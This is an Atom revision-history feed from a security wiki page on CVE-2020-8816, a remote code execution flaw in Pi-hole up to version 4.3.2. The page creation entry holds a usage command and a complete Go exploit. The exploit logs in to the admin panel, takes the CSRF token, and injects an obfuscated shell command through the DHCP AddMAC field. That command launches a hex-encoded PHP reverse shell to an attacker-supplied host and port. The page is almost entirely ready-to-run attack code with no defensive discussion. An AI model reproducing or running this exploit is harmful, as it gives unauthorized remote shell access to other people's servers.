<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE 2020-8816 Pi-hole 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-05T07:21:50Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5193&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5193&amp;oldid=prev"/>
		<updated>2021-06-16T09:39:58Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 09:39, 16 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Pi-hole &amp;lt;= 4.3.2&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Pi-hole &amp;lt;= 4.3.2&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5192&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==影響版本== &lt;/translate&gt; Pi-hole &lt;= 4.3.2  ==POC== &lt;pre&gt; go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://target/admin/ &lt;/pr...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5192&amp;oldid=prev"/>
		<updated>2021-06-16T09:39:13Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==影響版本== &amp;lt;/translate&amp;gt; Pi-hole &amp;lt;= 4.3.2  ==POC== &amp;lt;pre&amp;gt; go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://target/admin/ &amp;lt;/pr...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
Pi-hole &amp;lt;= 4.3.2&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://target/admin/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package main&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import (&lt;br /&gt;
   &amp;quot;flag&amp;quot;&lt;br /&gt;
   &amp;quot;log&amp;quot;&lt;br /&gt;
   &amp;quot;strings&amp;quot;&lt;br /&gt;
   &amp;quot;github.com/anaskhan96/soup&amp;quot;&lt;br /&gt;
   &amp;quot;encoding/hex&amp;quot;&lt;br /&gt;
   &amp;quot;github.com/levigross/grequests&amp;quot;&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
type Options struct {&lt;br /&gt;
   url, password, host, port string&lt;br /&gt;
  &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
var HOST string&lt;br /&gt;
var URL string&lt;br /&gt;
var PORT string&lt;br /&gt;
var PASSWD string&lt;br /&gt;
&lt;br /&gt;
func generate_shell() string{&lt;br /&gt;
   payload := &amp;quot;php -r '$sock=fsockopen(\&amp;quot;HOST\&amp;quot;, PORT);exec(\&amp;quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3\&amp;quot;);'&amp;quot;&lt;br /&gt;
   payload = strings.Replace(payload, &amp;quot;HOST&amp;quot;, HOST, 1)&lt;br /&gt;
   payload = strings.Replace(payload, &amp;quot;PORT&amp;quot;, PORT, 1)&lt;br /&gt;
   return hex.EncodeToString([]byte(payload))&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func extractFlags() *Options {&lt;br /&gt;
   urlPtr := flag.String(&amp;quot;u&amp;quot;, &amp;quot;http://10.0.0.1/admin/&amp;quot;, &amp;quot;Set the Url of the admin panel&amp;quot;)&lt;br /&gt;
   passPtr := flag.String(&amp;quot;pass&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;Admin Password&amp;quot;)&lt;br /&gt;
   hostPtr := flag.String(&amp;quot;host&amp;quot;, &amp;quot;10.0.0.1&amp;quot;, &amp;quot;Set the host for the reverse shell&amp;quot;)&lt;br /&gt;
   portPtr := flag.String(&amp;quot;p&amp;quot;, &amp;quot;1337&amp;quot;, &amp;quot;Set Port for the reverse shell&amp;quot;)&lt;br /&gt;
   flag.Parse()&lt;br /&gt;
&lt;br /&gt;
   return &amp;amp;Options{*urlPtr, *passPtr, *hostPtr,*portPtr}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func doLogin(ses *grequests.Session) *grequests.Session{&lt;br /&gt;
   log.Println(&amp;quot;Logging In...&amp;quot;)&lt;br /&gt;
   resp, err := ses.Post(URL+&amp;quot;index.php&amp;quot;,&amp;amp;grequests.RequestOptions{Data: map[string]string{&amp;quot;pw&amp;quot;: PASSWD}})&lt;br /&gt;
   if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error logging-in: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for log-in did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
   log.Println(&amp;quot;Logged In!&amp;quot;)&lt;br /&gt;
   return ses&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func getToken(ses *grequests.Session) string{&lt;br /&gt;
   resp, err:= ses.Get(URL+&amp;quot;index.php&amp;quot;,nil)&lt;br /&gt;
       if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error getting token: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for getting token did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
   html := soup.HTMLParse(resp.String())&lt;br /&gt;
   token := html.Find(&amp;quot;div&amp;quot;,&amp;quot;id&amp;quot;,&amp;quot;token&amp;quot;).Text()&lt;br /&gt;
   return token&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func Exploit(ses *grequests.Session, token string, payload string) {&lt;br /&gt;
   full_payload := &amp;quot;aaaaaaaaaaaa&amp;amp;&amp;amp;W=${PATH#/???/}&amp;amp;&amp;amp;P=${W%%?????:*}&amp;amp;&amp;amp;X=${PATH#/???/??}&amp;amp;&amp;amp;H=${X%%???:*}&amp;amp;&amp;amp;Z=${PATH#*:/??}&amp;amp;&amp;amp;R=${Z%%/*}&amp;amp;&amp;amp;$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(\&amp;quot;&amp;quot; + payload + &amp;quot;\&amp;quot;));'&amp;amp;&amp;amp;&amp;quot;&lt;br /&gt;
   resp,err := ses.Post(URL + &amp;quot;settings.php&amp;quot;, &amp;amp;grequests.RequestOptions{Data: map[string]string{&lt;br /&gt;
       &amp;quot;AddMAC&amp;quot;:full_payload,&lt;br /&gt;
       &amp;quot;field&amp;quot;:&amp;quot;DHCP&amp;quot;,&lt;br /&gt;
       &amp;quot;AddIP&amp;quot;:&amp;quot;10.10.10.10&amp;quot;,&lt;br /&gt;
       &amp;quot;AddHostname&amp;quot;:&amp;quot;10.10.10.10&amp;quot;,&lt;br /&gt;
       &amp;quot;addstatic&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
       &amp;quot;token&amp;quot;:token}})&lt;br /&gt;
           if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error sending payload: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for sending payload did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
func main(){&lt;br /&gt;
   options := extractFlags()&lt;br /&gt;
   HOST = options.host&lt;br /&gt;
   URL = options.url&lt;br /&gt;
   PORT = options.port&lt;br /&gt;
   PASSWD = options.password&lt;br /&gt;
   session := grequests.NewSession(nil)&lt;br /&gt;
   doLogin(session)&lt;br /&gt;
   log.Println(&amp;quot;Getting Token...&amp;quot;)&lt;br /&gt;
   token := getToken(session)&lt;br /&gt;
   log.Println(&amp;quot;Token:&amp;quot;,token)&lt;br /&gt;
   log.Println(&amp;quot;Generating payload...&amp;quot;)&lt;br /&gt;
   payload := generate_shell()&lt;br /&gt;
   log.Println(&amp;quot;Payload generated:&amp;quot;,payload)&lt;br /&gt;
   log.Println(&amp;quot;Sending exploit...&amp;quot;)&lt;br /&gt;
   Exploit(session, token, payload)&lt;br /&gt;
   log.Println(&amp;quot;Exploit executed, check your session&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>